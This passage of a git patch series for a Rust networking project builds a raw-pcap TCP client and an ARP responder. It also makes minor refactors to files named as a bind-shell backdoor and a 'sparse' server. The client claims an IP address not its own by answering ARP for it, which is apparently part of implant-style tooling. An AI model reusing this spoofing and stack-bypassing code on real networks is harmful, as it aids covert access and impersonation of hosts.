ARPPacket { + pub fn construct( + op: ARPMode, + proto: ARPProto, + srchwaddr: &[u8], + targethwaddr: &[u8], + srcprotoaddr: &[u8], + targetprotoaddr: &[u8], + ) -> ARPPacket { + assert!(srchwaddr.len() == targethwaddr.len()); + assert!(srcprotoaddr.len() == targetprotoaddr.len()); + + let data = [ + &0x0001u16.to_be_bytes()[..], + &proto.opcode().to_be_bytes()[..], + &[srchwaddr.len() as u8], + &[srcprotoaddr.len() as u8], + &op.opcode().to_be_bytes(), + srchwaddr, + srcprotoaddr, + targethwaddr, + targetprotoaddr, + ] + .concat(); + + ARPPacket { data } + } } static IPV4_ID: AtomicU16 = AtomicU16::new(0xabcd); #[derive(Clone)] pub struct IPv4Packet { - data: Vec, + pub data: Vec, } impl IPv4Packet { diff --git a/tcp-test/client/src/main.rs b/tcp-test/client/src/main.rs index 627fe03..bbb8c1a 100644 --- a/tcp-test/client/src/main.rs +++ b/tcp-test/client/src/main.rs @@ -10,8 +10,8 @@ use log::{debug, error, info, trace}; use nl_sys::{netlink, route}; use packets::{ - self, EthernetPacket, IPv4Packet, IPv4Pkt, Layer3Packet, Layer3Pkt, Layer4Packet, Layer4Pkt, - TCPPacket, TCPPacketBuilder, TCPPkt, + self, ARPMode, ARPPacket, ARPProto, EthernetPacket, IPv4Packet, IPv4Pkt, Layer3Packet, + Layer3Pkt, Layer4Packet, Layer4Pkt, TCPPacket, TCPPacketBuilder, TCPPkt, }; use pcap_sys; use tokio::{sync::mpsc, task}; @@ -71,7 +71,7 @@ impl TcpOptions { } } -fn socket_accepts_packet(socket: &TcpSocket, ip: IPv4Pkt<'_>, tcp: TCPPkt<'_>) -> bool { +fn socket_accepts_packet(socket: &TcpSocket, ip: &IPv4Pkt<'_>, tcp: &TCPPkt<'_>) -> bool { if let Some(peer) = &socket.peer_info { peer.local_addr == ip.dest_ip() && peer.remote_addr == ip.source_ip() @@ -110,7 +110,7 @@ fn connect( .syn(true) .window(64240) .seqnumber(socket.local_seq_no) - .options([TcpOptions::MaxSegmentSize(64240).get_bytes()].concat()) + //.options([TcpOptions::MaxSegmentSize(64240).get_bytes()].concat()) .build(local_addr, remote_addr, vec![], None); (local_port, packet) @@ -127,8 +127,11 @@ fn process_packet( Ok((None, None)) } -fn send_data(socket: &mut TcpSocket, data: Vec) -> anyhow::Result<(TCPPacketBuilder, Vec)> { - Ok(todo!()) +fn send_data( + socket: &mut TcpSocket, + data: Vec, +) -> anyhow::Result)>> { + Ok(None) } struct TcpSocketHandle { @@ -167,7 +170,7 @@ async fn main() -> anyhow::Result<()> { .ok_or(anyhow!("could not get target IP"))? .parse::()?; - let (routes, (ifname, ifindex, srcip, src_mac, dst_mac, src_snmask)) = { + let (ifname, _, srcip, src_mac, dst_mac, _) = { let socket = netlink::Socket::new()?; let routes = socket.get_routes()?; @@ -175,16 +178,21 @@ async fn main() -> anyhow::Result<()> { let links = socket.get_links()?; let addrs = socket.get_addrs()?; - let res = route::get_macs_and_src_for_ip(&addrs, &routes, &neighs, &links, ip) - .ok_or(anyhow!("unable to find a route to the IP"))?; - - (routes, res) + route::get_macs_and_src_for_ip(&addrs, &routes, &neighs, &links, ip) + .ok_or(anyhow!("unable to find a route to the IP"))? }; let mut socket = TcpSocket::default(); let mut interface = pcap_sys::Interface::::new(&ifname)?; + let srcip: u32 = srcip.into(); + let srcip = srcip + 10; + let srcip: Ipv4Addr = srcip.into(); + dbg!(srcip, src_mac, dst_mac); + + let dst_mac = [0x00, 0x16, 0x3e, 0xde, 0xa9, 0x93]; + interface.set_buffer_size(8192)?; interface.set_non_blocking(true)?; interface.set_promisc(false)?; @@ -194,18 +202,14 @@ async fn main() -> anyhow::Result<()> { macro_rules! format_packet { ($tcp_packet:expr) => {{ - let layer3pkt = Layer3Packet::IPv4(IPv4Packet::construct( - srcip, - ip, - &Layer4Packet::TCP($tcp_packet), - )); - EthernetPacket::construct(src_mac, dst_mac, &layer3pkt) + let ippkt = IPv4Packet::construct(srcip, ip, &Layer4Packet::TCP($tcp_packet)); + EthernetPacket::construct(src_mac, dst_mac, &Layer3Packet::IPv4(ippkt)) }}; } let (port, packet) = connect(&mut socket, ip, 54248, srcip); - interface.set_filter(&format!("inbound and tcp port {port}"), true, None)?; + interface.set_filter(&format!("arp or (inbound and tcp port {port})"), true, None)?; if interface.datalink() != pcap_sys::consts::DLT_EN10MB { bail!("interface does not support ethernet"); @@ -226,23 +230,50 @@ async fn main() -> anyhow::Result<()> { task::spawn(async move { use_socket(socket_handle) }); loop { - let Some((builder, data)) = tokio::select! { + let Some(packet) = tokio::select! { Some(Ok(bytes)) = packets.next() => { let pkt = bytes.pkt(); - let Ok(Layer3Pkt::IPv4Pkt(ip_pkt)) = pkt.get_layer3_pkt() else { continue; }; - let Ok(Layer4Pkt::TCP(tcp_pkt)) = ip_pkt.get_layer4_packet() else { continue; }; - let Ok((to_send, received)) = process_packet(&mut socket, tcp_pkt) else { continue; }; + match pkt.get_layer3_pkt() { + Ok(Layer3Pkt::IPv4Pkt(ip_pkt)) => { + let Ok(Layer4Pkt::TCP(tcp_pkt)) = ip_pkt.get_layer4_packet() else { continue; }; - if let Some(received) = received { - _ = receive_packet.send(received).await; + if !socket_accepts_packet(&socket, &ip_pkt, &tcp_pkt) { + continue; + } + + let Ok((to_send, received)) = process_packet(&mut socket, tcp_pkt) else { continue; }; + + if let Some(received) = received { + _ = receive_packet.send(received).await; + } + + to_send.map(|(b, d)| format_packet!(b.build(srcip, ip, d, None))) + }, + Ok(Layer3Pkt::ARP(arp)) => { + if arp.opcode() != 1 || arp.plen() != 4 || arp.hwlen() != 6 { + continue; + } + + let senderip: [u8; 4] = arp.srcprotoaddr().try_into().unwrap(); + let sendermac: &[u8] = arp.srchwaddr(); + let queryip: [u8; 4] = arp.targetprotoaddr().try_into().unwrap(); + let queryip: Ipv4Addr = queryip.into(); + + if queryip != srcip { + continue; + } + + let response = ARPPacket::construct(ARPMode::Reply, ARPProto::IPv4, &src_mac, &sendermac, &queryip.octets(), &senderip); + + Some(EthernetPacket::construct(src_mac, sendermac.try_into().unwrap(), &Layer3Packet::ARP(response))) + }, + _ => continue } - - to_send }, Some(to_send) = send_packet.recv() => { match send_data(&mut socket, to_send) { - Ok(v) => Some(v), + Ok(v) => v.map(|(b, d)| format_packet!(b.build(srcip, ip, d, None))), Err(_) => continue } }, @@ -251,7 +282,6 @@ async fn main() -> anyhow::Result<()> { continue; }; - let packet = builder.build(srcip, ip, data, None); - _ = packets.sendpacket(format_packet!(packet).pkt()); + _ = packets.sendpacket(packet.pkt()); } } From 8c0ae083fe445ef17d8061e0761e6a7f80106730 Mon Sep 17 00:00:00 2001 From: Andrew Rioux Date: Tue, 5 Dec 2023 00:27:02 -0500 Subject: [PATCH 11/15] made basic TCP connection to receive data somewhat --- .devcontainer/Dockerfile.alpine | 2 +- Cargo.lock | 148 ++------- Makefile.toml | 9 +- examples/bind-shell/backdoor/src/main.rs | 4 +- packets/src/lib.rs | 4 +- pcap-sys/build.rs | 2 +- sparse-05/sparse-05-server/src/connection.rs | 12 +- sparse-05/sparse-05-server/src/interface.rs | 4 +- sparse-05/sparse-05-server/src/main.rs | 4 +- tcp-test/client/Cargo.toml | 5 +- tcp-test/client/src/main.rs | 304 ++++++++++++++++--- tcp-test/sample-connection2.pcapng | Bin 0 -> 1064 bytes tcp-test/server.py | 24 +- 13 files changed, 349 insertions(+), 173 deletions(-) create mode 100644 tcp-test/sample-connection2.pcapng diff --git a/.devcontainer/Dockerfile.alpine b/.devcontainer/Dockerfile.alpine index 729edd5..fd373f8 100644 --- a/.devcontainer/Dockerfile.alpine +++ b/.devcontainer/Dockerfile.alpine @@ -13,7 +13,7 @@ # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see . -FROM rust:1-alpine +FROM rust:1.73-alpine RUN apk add cmake make automake musl-dev autoconf libtool libcap \ flex bison linux-headers openssl-dev lldb build-base libcap-dev diff --git a/Cargo.lock b/Cargo.lock index e438c5e..4731eae 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -86,15 +86,6 @@ version = "1.0.75" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a4668cab20f66d8d020e1fbc0ebe47217433c1b6c8f2040faf858554e394ace6" -[[package]] -name = "atomic-polyfill" -version = "0.1.11" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e3ff7eb3f316534d83a8a2c3d1674ace8a5a71198eba31e2e2b597833f699b28" -dependencies = [ - "critical-section", -] - [[package]] name = "atty" version = "0.2.14" @@ -247,10 +238,13 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "dcb25d077389e53838a8158c8e99174c5a9d902dee4904320db714f3c653ffba" [[package]] -name = "critical-section" -version = "1.1.2" +name = "crossbeam-utils" +version = "0.8.16" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7059fff8937831a9ae6f0fe4d658ffabf58f2ca96aa9dec1c889f936f705f216" +checksum = "5a22b2d63d4d1dc0b7f1b6b2747dd0088008a9be28b6ddf0b1e7d335e3037294" +dependencies = [ + "cfg-if", +] [[package]] name = "crypto-mac" @@ -284,38 +278,6 @@ dependencies = [ "zeroize", ] -[[package]] -name = "defmt" -version = "0.3.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a8a2d011b2fee29fb7d659b83c43fce9a2cb4df453e16d441a51448e448f3f98" -dependencies = [ - "bitflags 1.3.2", - "defmt-macros", -] - -[[package]] -name = "defmt-macros" -version = "0.3.6" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "54f0216f6c5acb5ae1a47050a6645024e6edafc2ee32d421955eccfef12ef92e" -dependencies = [ - "defmt-parser", - "proc-macro-error", - "proc-macro2 1.0.66", - "quote 1.0.33", - "syn 2.0.29", -] - -[[package]] -name = "defmt-parser" -version = "0.3.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "269924c02afd7f94bc4cecbfa5c379f6ffcf9766b3408fe63d22c728654eccd0" -dependencies = [ - "thiserror", -] - [[package]] name = "derive_more" version = "0.14.1" @@ -324,7 +286,7 @@ checksum = "6d944ac6003ed268757ef1ee686753b57efc5fcf0ebe7b64c9fc81e7e32ff839" dependencies = [ "proc-macro2 0.4.30", "quote 0.6.13", - "rustc_version 0.2.3", + "rustc_version", "syn 0.15.44", ] @@ -608,28 +570,6 @@ version = "0.28.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "6fb8d784f27acf97159b40fc4db5ecd8aa23b9ad5ef69cdd136d3bc80665f0c0" -[[package]] -name = "hash32" -version = "0.2.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b0c35f58762feb77d74ebe43bdbc3210f09be9fe6742234d573bacc26ed92b67" -dependencies = [ - "byteorder", -] - -[[package]] -name = "heapless" -version = "0.7.16" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "db04bc24a18b9ea980628ecf00e6c0264f3c1426dac36c00cb49b6fbad8b0743" -dependencies = [ - "atomic-polyfill", - "hash32", - "rustc_version 0.4.0", - "spin", - "stable_deref_trait", -] - [[package]] name = "heck" version = "0.3.3" @@ -722,12 +662,9 @@ name = "log" version = "0.4.20" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b5e6163cb8c49088c2c36f57875e58ccd8c87c7427f7fbd50ea6710b2f3f2e8f" - -[[package]] -name = "managed" -version = "0.8.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0ca88d725a0a943b096803bd34e73a4437208b6077654cc4ecb2947a5f91618d" +dependencies = [ + "value-bag", +] [[package]] name = "memchr" @@ -1060,6 +997,15 @@ dependencies = [ "bitflags 1.3.2", ] +[[package]] +name = "ringbuf" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "79abed428d1fd2a128201cec72c5f6938e2da607c6f3745f769fabea399d950a" +dependencies = [ + "crossbeam-utils", +] + [[package]] name = "rmp" version = "0.8.12" @@ -1094,16 +1040,7 @@ version = "0.2.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "138e3e0acb6c9fb258b19b67cb8abd63c00679d2851805ea151465464fe9030a" dependencies = [ - "semver 0.9.0", -] - -[[package]] -name = "rustc_version" -version = "0.4.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bfa0f585226d2e68097d4f95d113b15b83a82e819ab25717ec0590d9584ef366" -dependencies = [ - "semver 1.0.18", + "semver", ] [[package]] @@ -1134,12 +1071,6 @@ dependencies = [ "semver-parser", ] -[[package]] -name = "semver" -version = "1.0.18" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b0293b4b29daaf487284529cc2f5675b8e57c61f70167ba415a463651fd6a918" - [[package]] name = "semver-parser" version = "0.7.0" @@ -1241,22 +1172,6 @@ version = "1.11.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "62bb4feee49fdd9f707ef802e22365a35de4b7b299de4763d44bfea899442ff9" -[[package]] -name = "smoltcp" -version = "0.10.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8d2e3a36ac8fea7b94e666dfa3871063d6e0a5c9d5d4fec9a1a6b7b6760f0229" -dependencies = [ - "bitflags 1.3.2", - "byteorder", - "cfg-if", - "defmt", - "heapless", - "libc", - "log", - "managed", -] - [[package]] name = "socket2" version = "0.5.3" @@ -1324,21 +1239,6 @@ dependencies = [ "pcap-sys", ] -[[package]] -name = "spin" -version = "0.9.8" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6980e8d7511241f8acf4aebddbb1ff938df5eebe98691418c4468d0b72a96a67" -dependencies = [ - "lock_api", -] - -[[package]] -name = "stable_deref_trait" -version = "1.2.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a8f112729512f8e442d81f95a8a7ddf2b7c6b8a1a6f509a95864142b30cab2d3" - [[package]] name = "strsim" version = "0.8.0" @@ -1420,8 +1320,8 @@ dependencies = [ "packets", "pcap-sys", "rand 0.8.5", + "ringbuf", "simple_logger", - "smoltcp", "tokio", "tokio-stream", ] @@ -1592,6 +1492,12 @@ dependencies = [ "subtle", ] +[[package]] +name = "value-bag" +version = "1.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4a72e1902dde2bd6441347de2b70b7f5d59bf157c6c62f0c44572607a1d55bbe" + [[package]] name = "vec_map" version = "0.8.2" diff --git a/Makefile.toml b/Makefile.toml index 4fc2f0c..76df7c2 100644 --- a/Makefile.toml +++ b/Makefile.toml @@ -82,6 +82,13 @@ command = "convco" args = ["commit", "-i"] dependencies = ["git-pre-commit", "git-add"] +[tasks.git-share-root] +workspace = false +script = [ + "git config --global --add safe.directory /workspaces/sparse/nl-sys/libnl", + "git config --global --add safe.directory /workspaces/sparse/pcap-sys/libpcap", +] + #--------------------------------- # # Project setup tasks @@ -90,7 +97,7 @@ dependencies = ["git-pre-commit", "git-add"] [tasks.setup] workspace = false -dependencies = ["setup-pull-rust-image", "setup-update-submodules"] +dependencies = ["git-share-root", "setup-pull-rust-image", "setup-update-submodules"] [tasks.setup-pull-rust-image] workspace = false diff --git a/examples/bind-shell/backdoor/src/main.rs b/examples/bind-shell/backdoor/src/main.rs index c857e38..3e84f31 100644 --- a/examples/bind-shell/backdoor/src/main.rs +++ b/examples/bind-shell/backdoor/src/main.rs @@ -138,7 +138,9 @@ async fn handle_command( ) -> anyhow::Result<()> { use pcap_sys::packets::*; let eth_pkt = eth.pkt(); - let Layer3Pkt::IPv4Pkt(ip_pkt) = eth_pkt.get_layer3_pkt()?; + let Layer3Pkt::IPv4Pkt(ip_pkt) = eth_pkt.get_layer3_pkt()? else { + return Ok(()); + }; let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()? else { todo!() }; diff --git a/packets/src/lib.rs b/packets/src/lib.rs index c6ba82a..ba4f3a2 100644 --- a/packets/src/lib.rs +++ b/packets/src/lib.rs @@ -628,7 +628,7 @@ impl TCPPacket { } } -#[derive(Default)] +#[derive(Default, Debug)] pub struct TCPPacketBuilder { srcport: Option, dstport: Option, @@ -762,7 +762,7 @@ impl TCPPacketBuilder { let checksum = (checksum >> 16) + (checksum & 0xffff); let checksum = ((checksum >> 16) as u16) + (checksum as u16); - let checksum = dbg!(!checksum).to_be_bytes(); + let checksum = (!checksum).to_be_bytes(); //bytes[16] = checksum[0]; //bytes[17] = checksum[1]; diff --git a/pcap-sys/build.rs b/pcap-sys/build.rs index 115ba60..727da70 100644 --- a/pcap-sys/build.rs +++ b/pcap-sys/build.rs @@ -32,5 +32,5 @@ fn main() { // panic!("hahahahah test {}", dst.display()); println!("cargo:rustc-link-search=native={}/lib", dst.display()); - println!("cargo:rustc-link-lib=static=pcap"); + println!("cargo:rustc-link-lib=pcap"); } diff --git a/sparse-05/sparse-05-server/src/connection.rs b/sparse-05/sparse-05-server/src/connection.rs index f78c260..f91dbc9 100644 --- a/sparse-05/sparse-05-server/src/connection.rs +++ b/sparse-05/sparse-05-server/src/connection.rs @@ -104,7 +104,9 @@ pub fn spawn_connection_handler( use packets::*; let packet = connection_packet.pkt(); - let Layer3Pkt::IPv4Pkt(ip_pkt) = packet.get_layer3_pkt()?; + let Layer3Pkt::IPv4Pkt(ip_pkt) = packet.get_layer3_pkt()? else { + todo!() + }; let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()? else { todo!() }; @@ -199,7 +201,9 @@ fn authenticate( Ok(p) => { use packets::*; let p = p.pkt(); - let Layer3Pkt::IPv4Pkt(ip_pkt) = p.get_layer3_pkt()?; + let Layer3Pkt::IPv4Pkt(ip_pkt) = p.get_layer3_pkt()? else { + todo!() + }; let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()? else { todo!() }; @@ -249,7 +253,9 @@ where let msg = packet_handler.recv()?; let pkt = msg.pkt(); - let Layer3Pkt::IPv4Pkt(ip_pkt) = pkt.get_layer3_pkt()?; + let Layer3Pkt::IPv4Pkt(ip_pkt) = pkt.get_layer3_pkt()? else { + todo!() + }; let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()? else { todo!() }; diff --git a/sparse-05/sparse-05-server/src/interface.rs b/sparse-05/sparse-05-server/src/interface.rs index eda0f61..e0c7f3e 100644 --- a/sparse-05/sparse-05-server/src/interface.rs +++ b/sparse-05/sparse-05-server/src/interface.rs @@ -110,7 +110,9 @@ impl InterfaceSender { Self::RawUdp(interf) => Ok(interf.sendpacket(packet)?), Self::Udp(interf) => { use packets::*; - let Layer3Pkt::IPv4Pkt(ip_pkt) = packet.get_layer3_pkt()?; + let Layer3Pkt::IPv4Pkt(ip_pkt) = packet.get_layer3_pkt()? else { + todo!() + }; let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()? else { todo!() }; diff --git a/sparse-05/sparse-05-server/src/main.rs b/sparse-05/sparse-05-server/src/main.rs index d5af914..46f59df 100644 --- a/sparse-05/sparse-05-server/src/main.rs +++ b/sparse-05/sparse-05-server/src/main.rs @@ -74,7 +74,9 @@ fn main() -> anyhow::Result<()> { let pkt = pkt.pkt(); - let Layer3Pkt::IPv4Pkt(ip_pkt) = pkt.get_layer3_pkt()?; + let Layer3Pkt::IPv4Pkt(ip_pkt) = pkt.get_layer3_pkt()? else { + todo!() + }; let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()? else { todo!() }; diff --git a/tcp-test/client/Cargo.toml b/tcp-test/client/Cargo.toml index 853cbcb..599d410 100644 --- a/tcp-test/client/Cargo.toml +++ b/tcp-test/client/Cargo.toml @@ -13,7 +13,8 @@ rand = "0.8.5" tokio = { version = "1.32.0", features = ["full"] } anyhow = "1.0.75" tokio-stream = { version = "0.1.14", features = ["full"] } -smoltcp = { version = "0.10", features = ["socket-tcp", "phy-raw_socket", "std", "async", "medium-ethernet", "proto-ipv4", "reassembly-buffer-size-65536", "fragmentation-buffer-size-65536", "proto-ipv4-fragmentation", "log", "verbose"] } +#smoltcp = { version = "0.10", features = ["socket-tcp", "phy-raw_socket", "std", "async", "medium-ethernet", "proto-ipv4", "reassembly-buffer-size-65536", "fragmentation-buffer-size-65536", "proto-ipv4-fragmentation", "log", "verbose"] } libc = "0.2.148" -log = "0.4.20" +log = { version = "0.4.20", features = [ "kv_unstable" ] } simple_logger = "4.2.0" +ringbuf = "0.3.3" diff --git a/tcp-test/client/src/main.rs b/tcp-test/client/src/main.rs index bbb8c1a..00c27bf 100644 --- a/tcp-test/client/src/main.rs +++ b/tcp-test/client/src/main.rs @@ -1,12 +1,15 @@ use std::{ collections::VecDeque, + mem::MaybeUninit, net::{Ipv4Addr, SocketAddr}, - time::Duration, + time::{Duration, Instant}, }; -use anyhow::{anyhow, bail}; +use anyhow::{anyhow, bail, Context}; +use ringbuf::LocalRb; +use tokio::{sync::mpsc, task, time::sleep_until}; +use tokio_stream::StreamExt; -use log::{debug, error, info, trace}; use nl_sys::{netlink, route}; use packets::{ @@ -14,8 +17,6 @@ use packets::{ Layer3Pkt, Layer4Packet, Layer4Pkt, TCPPacket, TCPPacketBuilder, TCPPkt, }; use pcap_sys; -use tokio::{sync::mpsc, task}; -use tokio_stream::StreamExt; struct PeerInfo { remote_addr: Ipv4Addr, @@ -24,10 +25,17 @@ struct PeerInfo { local_port: u16, } +enum Timeout { + Idle { heartbeat: Option }, + Retransmit {}, +} + #[derive(Default)] struct TcpSocket { - tx_buffer: VecDeque, - rx_buffer: VecDeque, + tx_buffer: LocalRb; 65536]>, + rx_buffer: LocalRb; 65536]>, + first_ack: u32, + first_rack: u32, local_seq_no: u32, remote_seq_no: u32, remote_last_ack: Option, @@ -36,9 +44,12 @@ struct TcpSocket { local_rx_last_ack: Option, state: TcpState, peer_info: Option, - ack_timeout: Option, + retransmit_timeout: Option, + last_packet_received: Option, } +impl TcpSocket {} + #[derive(Default)] enum TcpState { Listen, @@ -82,11 +93,12 @@ fn socket_accepts_packet(socket: &TcpSocket, ip: &IPv4Pkt<'_>, tcp: &TCPPkt<'_>) } } -fn connect( +async fn connect( socket: &mut TcpSocket, remote_addr: Ipv4Addr, remote_port: u16, local_addr: Ipv4Addr, + send_state_changed: &mpsc::Sender, ) -> (u16, TCPPacket) { socket.state = TcpState::SynSent; let local_port: u16 = loop { @@ -95,6 +107,7 @@ fn connect( break port; } }; + let _ = send_state_changed.send(TcpState::SynSent).await; socket.peer_info = Some(PeerInfo { remote_addr, remote_port, @@ -103,6 +116,7 @@ fn connect( }); socket.local_seq_no = rand::random(); + socket.first_ack = socket.local_seq_no; let packet = TCPPacketBuilder::default() .srcport(local_port) @@ -116,31 +130,213 @@ fn connect( (local_port, packet) } -fn process_packet( +fn process_timeout(socket: &mut TcpSocket) -> anyhow::Result)>> { + Ok(None) +} + +async fn process_packet( socket: &mut TcpSocket, packet: TCPPkt<'_>, -) -> anyhow::Result<(Option<(TCPPacketBuilder, Vec)>, Option>)> { - match socket.state { - TcpState::SynSent if packet.ack() && packet.syn() => {} - _ => {} + send_state_changed: &mpsc::Sender, +) -> anyhow::Result<(Vec<(TCPPacketBuilder, Vec)>, Option>)> { + match (&socket.state, &socket.peer_info) { + (TcpState::SynSent, Some(peer)) if packet.ack() && packet.syn() => { + log::debug!("established connection with peer"); + + socket.remote_last_ack = Some(socket.local_seq_no); + socket.remote_seq_no = packet.seqnumber() + 1; + socket.remote_last_win = packet.window(); + socket.first_rack = packet.seqnumber(); + socket.local_seq_no += 1; + + let tcppacketbuilder = TCPPacketBuilder::default() + .srcport(peer.local_port) + .dstport(peer.remote_port) + .ack(true) + .window(512) + .acknumber(socket.remote_seq_no) + .seqnumber(socket.local_seq_no); + + socket.state = TcpState::Established; + let _ = send_state_changed.send(TcpState::Established).await; + + Ok((vec![(tcppacketbuilder, vec![])], None)) + } + (TcpState::Established, Some(peer)) if packet.fin() => { + log::debug!("Received fin!"); + + socket.remote_last_ack = Some(socket.local_seq_no); + socket.remote_last_win = packet.window(); + socket.remote_seq_no += 1; + + socket.state = TcpState::CloseWait; + let _ = send_state_changed.send(TcpState::CloseWait).await; + + let ackbuilder = TCPPacketBuilder::default() + .srcport(peer.local_port) + .dstport(peer.remote_port) + .ack(true) + .window(512) + .acknumber(socket.remote_seq_no) + .seqnumber(socket.local_seq_no); + + socket.local_seq_no += 1; + + let finbuilder = TCPPacketBuilder::default() + .srcport(peer.local_port) + .dstport(peer.remote_port) + .ack(true) + .window(512) + .acknumber(socket.remote_seq_no) + .seqnumber(socket.local_seq_no); + + Ok((vec![(ackbuilder, vec![]), (finbuilder, vec![])], None)) + } + (TcpState::Established, Some(peer)) if packet.ack() => { + log::debug!("received packet from server",); + + socket.remote_last_ack = Some(socket.local_seq_no); + socket.remote_last_win = packet.window(); + socket.remote_seq_no += (packet.data().len() & 0xFFFFFFFF) as u32; + + let tcppacketbuilder = TCPPacketBuilder::default() + .srcport(peer.local_port) + .dstport(peer.remote_port) + .ack(true) + .window(512) + .acknumber(socket.remote_seq_no) + .seqnumber(socket.local_seq_no); + + if !packet.data().is_empty() { + log::debug!("received data: {:?}", packet.data()); + } + + Ok(( + vec![(tcppacketbuilder, vec![])], + match packet.data() { + [] => None, + da => Some(da.to_owned()), + }, + )) + } + (TcpState::FinWait1, _) if packet.ack() => { + socket.state = TcpState::FinWait2; + let _ = send_state_changed.send(TcpState::FinWait2).await; + + Ok((vec![], None)) + } + (TcpState::FinWait2, Some(peer)) if packet.fin() => { + socket.state = TcpState::Closed; + let _ = send_state_changed.send(TcpState::Closed).await; + + socket.remote_last_ack = Some(socket.local_seq_no); + socket.remote_seq_no = packet.seqnumber() + 1; + socket.remote_last_win = packet.window(); + socket.local_seq_no += 1; + + let tcppacketbuilder = TCPPacketBuilder::default() + .srcport(peer.local_port) + .dstport(peer.remote_port) + .ack(true) + .window(512) + .acknumber(socket.remote_seq_no) + .seqnumber(socket.local_seq_no); + + Ok((vec![(tcppacketbuilder, vec![])], None)) + } + _ => Ok((vec![], None)), } - Ok((None, None)) +} + +fn resp_tcp(incoming: &TCPPkt<'_>) -> TCPPacketBuilder { + TCPPacketBuilder::default() + .srcport(incoming.dstport()) + .dstport(incoming.srcport()) +} + +fn seq_tcp(socket: &TcpSocket, mut builder: TCPPacketBuilder) -> TCPPacketBuilder { + builder +} + +fn recv_data(socket: &mut TcpSocket, data: &mut [u8]) -> anyhow::Result { + let (mut prod, mut cons) = socket.tx_buffer.split_ref(); + + let bytes_read = cons.pop_slice(data); + socket.remote_seq_no += (bytes_read & 0xFFFFFFFF) as u32; + + Ok(bytes_read) } fn send_data( socket: &mut TcpSocket, data: Vec, -) -> anyhow::Result)>> { - Ok(None) +) -> anyhow::Result)>> { + let (mut prod, cons) = socket.tx_buffer.split_ref(); + + if cons.is_empty() { + _ = prod.push_iter(&mut data.into_iter()); + + Ok(vec![]) + } else { + _ = prod.push_iter(&mut data.into_iter()); + Ok(vec![]) + } +} + +fn close_connection(socket: &mut TcpSocket) -> anyhow::Result { + socket.state = TcpState::FinWait1; + + let peer = socket + .peer_info + .as_ref() + .context("no connection to close")?; + + Ok(TCPPacketBuilder::default() + .srcport(peer.local_port) + .dstport(peer.remote_port) + .fin(true) + .ack(true) + .window(512) + .acknumber( + socket + .local_rx_last_ack + .context("information from synchronizing missing")?, + ) + .seqnumber(socket.local_seq_no) + .build(peer.local_addr, peer.remote_addr, vec![], None)) } struct TcpSocketHandle { + state_changed: mpsc::Receiver, send_channel: mpsc::Sender>, + close: mpsc::Sender<()>, receiver_channel: mpsc::Receiver>, } async fn use_socket(mut socket_handle: TcpSocketHandle) { - _ = socket_handle.send_channel.send(b"ping".to_vec()).await; + loop { + let state = socket_handle.state_changed.recv().await; + match state { + Some(TcpState::Established) => break, + _ => {} + } + } + + log::info!("Connected to server!"); + + log::info!("disconnecting!"); + + /*_ = socket_handle.close.send(()).await; + + loop { + let state = socket_handle.state_changed.recv().await; + match state { + Some(TcpState::Closed) => break, + _ => {} + } + }*/ + + log::info!("disconnected!"); match socket_handle.receiver_channel.recv().await { Some(bytes) => match std::str::from_utf8(&bytes) { @@ -155,6 +351,10 @@ async fn use_socket(mut socket_handle: TcpSocketHandle) { log::error!("could not get packets from server") } } + + /*_ = socket_handle.send_channel.send(b"pong".to_vec()).await; + + log::info!("Sent 'pong'!");*/ } #[tokio::main] @@ -183,7 +383,6 @@ async fn main() -> anyhow::Result<()> { }; let mut socket = TcpSocket::default(); - let mut interface = pcap_sys::Interface::::new(&ifname)?; let srcip: u32 = srcip.into(); @@ -207,7 +406,9 @@ async fn main() -> anyhow::Result<()> { }}; } - let (port, packet) = connect(&mut socket, ip, 54248, srcip); + let (send_state_changed, mut receive_state_changed) = mpsc::channel(64); + let (port, packet) = connect(&mut socket, ip, 54248, srcip, &send_state_changed).await; + _ = receive_state_changed.recv().await; interface.set_filter(&format!("arp or (inbound and tcp port {port})"), true, None)?; @@ -221,16 +422,32 @@ async fn main() -> anyhow::Result<()> { let (send_channel, mut send_packet) = mpsc::channel(1024); let (receive_packet, receiver_channel) = mpsc::channel(1024); + let (send_state_changed, state_changed) = mpsc::channel(1024); + let (close, mut recv_close) = mpsc::channel(16); let socket_handle = TcpSocketHandle { + state_changed, receiver_channel, send_channel, + close, }; task::spawn(async move { use_socket(socket_handle) }); + let mut packet_queue = VecDeque::new(); + loop { - let Some(packet) = tokio::select! { + let deadline = Instant::now() + + socket + .retransmit_timeout + .unwrap_or_else(|| Duration::from_millis(10)); + + tokio::select! { + _ = sleep_until(deadline.into()) => { + let Ok(Some((b, d))) = process_timeout(&mut socket) else { continue; }; + let pkt = format_packet!(b.build(srcip, ip, d, None)); + packet_queue.push_back(pkt); + }, Some(Ok(bytes)) = packets.next() => { let pkt = bytes.pkt(); @@ -242,13 +459,17 